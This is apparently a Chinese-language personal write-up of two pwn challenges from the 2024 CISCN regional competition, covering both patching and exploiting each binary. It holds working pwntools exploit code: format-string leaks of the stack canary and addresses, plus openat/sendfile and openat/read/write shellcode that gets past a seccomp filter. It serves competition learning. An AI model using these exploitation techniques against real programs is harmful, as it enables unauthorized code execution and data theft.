# 2024Ciscn 国赛心得

前言

今年总的来说,pwn方向两道题都不是很难。虽然一道都没给做出来。还是由于经验不足导致的吧。首先第一道pwn的话,在本地是能读取到flag文件,但是远程就是不能去读取flag,线下询问了一个华东北第二名队伍的pwn师傅,才知道远程打开flag的fd并不是3,而是5,是openat的rax的值,真是学到了不少东西。第二道是将符号表全都去掉,因为第一题一直以为是栈的问题在不断调试,导致第二题光fix并没有去做。

# pwn_1

# fix

image-20240625180143222

将 0x80-> 改为 0x50 即可

# break

NX 关闭,栈可执行,往栈上写入 shellcode,利用格式化字符串,泄露 stack 地址,从而控制返回地址返回到 shellcode 处。

image-20240625180959807

禁用 open、readv、writev、和 exev 系列。

可以利用 openat、read、write、sendfile。

可惜一直忘记用 read、write。以为是栈的问题,结果是远程的 fd 和本地的 fd 不一样导致的。

image-20240625181146191

利用格式化字符串泄露 canary 和 stack 的地址。

pl = b'%17$p'
sla(b'2: get name\n','1')
sa(b'->set name\n',pl)
sla(b'2: get name\n','2')
ru(b'0x')
canary = int(rc(16).decode().replace('\n',''),16)
pl = b'%25$p'
sla(b'2: get name\n','1')
sa(b'->set name\n',pl)
sla(b'2: get name\n','2')
ru(b'0x')
stack_addr = int(rc(12).decode().replace('\n',''),16) - 0x118 - 0x60

接下来 ret2shellcode 就行

shellcode = shellcraft.openat(-100,"flag\x00",0)
shellcode += shellcraft.sendfile(1,'rax',0,0x50)#fd 要是 rax 不能是 3,否则读不到远程 flag
pl = b'\x90'*0x10 + asm(shellcode).ljust(0x40-8,b'\0') + p64(canary) + p64(stack_addr)
print(hex(len(pl)))
sla(b'2: get name\n',b'1')
sa(b'->set name\n',pl)
sla(b'2: get name\n',b'-1')

下面是自己写的 openat + read + write 的汇编。

shellcode = asm('''
	push 0x67616c66
	mov rsi, rsp
	push -0x64
	pop rdi
	xor edx, edx
	mov eax, 257
	syscall
	mov edi, eax
	mov rsi, {}
	mov edx, 0x40
	xor eax, eax
	syscall
	mov edi, 1
	mov rsi, {}
	mov edx, 0x40
	mov eax, 1
	syscall
'''.format(addr,addr))
print(hex(len(shellcode)))
pl = shellcode.ljust(0x40+0x8,b'\0') + p64(canary) + p64(0) + p64(stack_addr)
print(hex(len(pl)))
sla(b'2: get name\n',b'1')
dug()
sa(b'->set name\n',pl)
sla(b'2: get name\n',b'-1')
it()

# pwn_2

不得不说,去符号表属实难看。唉,怪我忘记恢复符号表了,rizz 的恢复符号表的效果一言难尽。

在这里特别感谢 eastXueLia 师傅,浇我使用 flare 恢复符号表。以前恢复符号表各种碰壁,终于有一个可以恢复符号表特别有用的方式了!

# fix

利用 flare 恢复符号表之后

image-20240625201547611

在这里将 /flag 名字改一下,就能防御成功。

# break

add

image-20240625202729350

image-20240625202747051

image-20240625202802852

分配一个空间,并向其写入 8 字节大小的数据

check

image-20240625211015394

在这里会把 flag 读入一个位置。

get

image-20240625211231319

这里可以完成 flag 的泄露

只要找到将 flag 写入内存内,并找到,使用 get 即可找到 flag (本地测试是这样,远程应该还会出啥幺蛾子吧)

from LibcSearcher import *
from pwn import *
# from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
# host, port = "47.103.122.127:30175".split(":")
# r = remote(host, int(port))
# r = gdb.debug('./pwn')
r = process('./pwn2_')
# libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('/home/h711/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
elf = ELF('./pwn2_')
# ld-linux-x86-64.so.2
# srand = libc.srand (libc.time (0)) #设置种子
se      = lambda data               : r.send(data)
sa      = lambda delim, data         : r.sendafter(delim, data)
sl      = lambda data               : r.sendline(data)
sla     = lambda delim, data         : r.sendlineafter(delim, data)
sea     = lambda delim, data         : r.sendafter(delim, data)
rc      = lambda numb=4096          : r.recv(numb)
rl      = lambda                    : r.recvline()
ru      = lambda delims             : r.recvuntil(delims)
uu32    = lambda data               : u32(data.ljust(4, b'\0'))
uu64    = lambda data               : u64(data.ljust(8, b'\0'))
lic     = lambda data               : uu64(ru(data)[-6:])
pack    = lambda str, addr          : p32(addr)
padding = lambda length             : b'Yhuan' * (length // 5) + b'Y' * (length % 5)
it      = lambda                    : r.interactive()
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
'''
1: ls flag
2: add flag
3: edit flag
4: del flag
5: get flag
6: check flag
'''
ru('6: check flag\n')
sl('2')
ru('6: check flag\n')
sl('6')
x = 0x4ef784
flag = 0x4efaf0
ru('6: check flag\n')
sl('5')
sl(str(flag))
it()

image-20240625211439570

粘几篇 blog 吧

2024 CISCN 华东北分区赛 - Ahisec-CSDN 博客

2024 全国大学生信息安全竞赛(ciscn)半决赛华东北赛区 Pwn 题解 - CSDN 博客